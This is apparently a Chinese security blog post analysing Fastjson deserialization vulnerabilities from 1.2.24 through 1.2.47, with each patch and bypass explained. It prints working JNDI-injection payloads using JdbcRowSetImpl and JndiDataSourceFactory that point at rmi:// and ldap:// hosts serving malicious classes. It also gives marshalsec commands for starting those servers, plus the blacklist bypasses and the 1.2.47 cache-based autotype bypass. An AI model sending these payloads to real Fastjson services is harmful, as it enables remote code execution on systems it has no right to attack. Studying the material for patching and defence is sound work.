Fastjson反序列化漏洞 1.2.24-1.2.48

Posted by kingkk on 2019-07-25

Fastjson中的利用方式

讲漏洞前先来说下一些利用方式

来看下第一次漏洞的Poc,一个JNDI注入的利用

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

个人理解就是,JdbcRowSetImpl这个类的dataSourceName支持传入一个rmi的源。

当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。

还有过程类似的LDAP利用方式

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}"

可以用https://github.com/mbechler/marshalsec 很方便的启这两个服务

1
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt

需要注意的来了,这两种利用方式有java版本限制(一开始坑死我了)

  • 基于rmi的利用方式:适用jdk版本:JDK 6u132, JDK 7u122, JDK 8u113之前。
  • 基于ldap的利用方式:适用jdk版本:JDK 11.0.18u1917u2016u211之前。

因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。

可以看到ldap的利用范围是比rmi要大的,所以更推荐ldap的利用方式。

Fastjson 反序列化历程

1.2.24

修复前

类似于Jackson,Fastjson中也支持指定类的反序列化,只需要在json的key中添加@type即可。

但是一开始Fastjson是默认支持这个属性的,就是默认就可以反序列化任意类,自然而然地漏洞也就来了。

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
1
2
payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

就可以成功反序列化RCE,无需别的前置条件

修复后

再运行上面那段代码就会爆出这条错误

跟进可以看到新增了checkAutoType这个函数

可以看到我们这里的操作是被黑名单给拦截了

1
2
3
4
5
6
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

不仅如此,fastjson还默认关闭了反序列化任意类的操作,需要手动开启才行。

https://github.com/alibaba/fastjson/wiki/enable_autotype

1.2.42

修复前

这时候出现了第一次补丁的绕过(实际跟着看了下,发现其实好简单!)

在后面的TypeUtils.loadClass真正加载class类时,有这样一段代码

1
2
3
4
5
6
7
8
9
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

可以看到在黑名单检测之后,当开头有[或者L;时会去掉这些字符,从而造成了黑名单的绕过

所以可以通过如下方式进行攻击,不过需要手动开启autoType,至少相较于第一版的危害范围要小一些。(实测用[时解析会报错。

1
2
3
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\", \"autoCommit\":true}";
JSONObject.parseObject(payload);

修复后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

大致意思就是,假如开头和结尾是L;就将头和尾去掉,再进行黑名单验证

还将之前的黑名单验证变成了hash的方式,防止安全人员进行研究

感觉这个确实好好绕过,再加一层L;不就可以了。

1
LLcom.sun.rowset.JdbcRowSetImpl;;

1.2.43

由于上个补丁的愚蠢方式,所以很快又出了这个补丁。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME == 0x9195c07b5af5345L)
{
throw new JSONException("autoType is not support. " + typeName);
}
// 9195c07b5af5345
className = className.substring(1, className.length() - 1);
}

开头两个LL就会被抛出异常(好简洁暴力。。)

1.2.45

这回的绕过是黑名单被绕过,新增了个org.apache.ibatis.datasource.jndi.JndiDataSourceFactory的黑名单,由于在项目中使用的频率也较高,所以影响范围也比较大。

payload

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}

1.2.47

修复前

在后面的防御便是不断的添加黑名单列表,此时推荐大佬的项目,通过黑名单hash找到对应的类名

https://github.com/LeadroyaL/fastjson-blacklist

直到后来有一天,宁静的日子被打破,又出现了一个通杀洞,无需开启autotype通杀。(小声bb一句hw期间出了好多大洞

1
2
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:9999/Exploit\",\"autoCommit\":true}}}";
JSONObject.parseObject(payload);

可以来看下这个json

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}

据说其实这个payload一开始是被分为两段来打的,后来老哥们发现可以合成一段来发送,就避免了LB的干扰,导致payload打到不同的服务器。

可以一起来看下到底是怎么绕过autotype和黑名单验证的。

一开始反序列化的是java.lang.Class这个类,调试跟进可以看到是从checkAutoType这一段代码中获取到的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

这个deserializers在一开始会对其中放入许多常用的类

1
2
3
private void initDeserializers() {
... // 太多了,就不贴了
}

然后在紧跟的代码中就直接返回了,还没到原本autoTypeSupport的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过java.lang.Class获取到了com.sun.rowset.JdbcRowSetImpl类,然后重点来了。

loadClass中,可以看到假如cache为true,就会把获取到的类缓存到mapping中(应该是为了提高效率)

1
2
3
4
5
6
7
8
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}

然而这个cache在传入的时候默认就是true

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

于是,触发到第二段payload的时候,在checkAutoType函数中,就直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

然后也是一样在还没有判断黑名单和com.sun.rowset.JdbcRowSetImpl的验证之前就return了。

修复后

将之前的loadClass中默认cache设置成了false。

1
2
3
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, false);
}

所以在第一次获取到com.sun.rowset.JdbcRowSetImpl这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和com.sun.rowset.JdbcRowSetImpl的验证中了。

References

https://www.freebuf.com/vuls/208339.html

https://p0sec.net/index.php/archives/123/

https://github.com/earayu/fastjson_jndi_poc 漏洞环境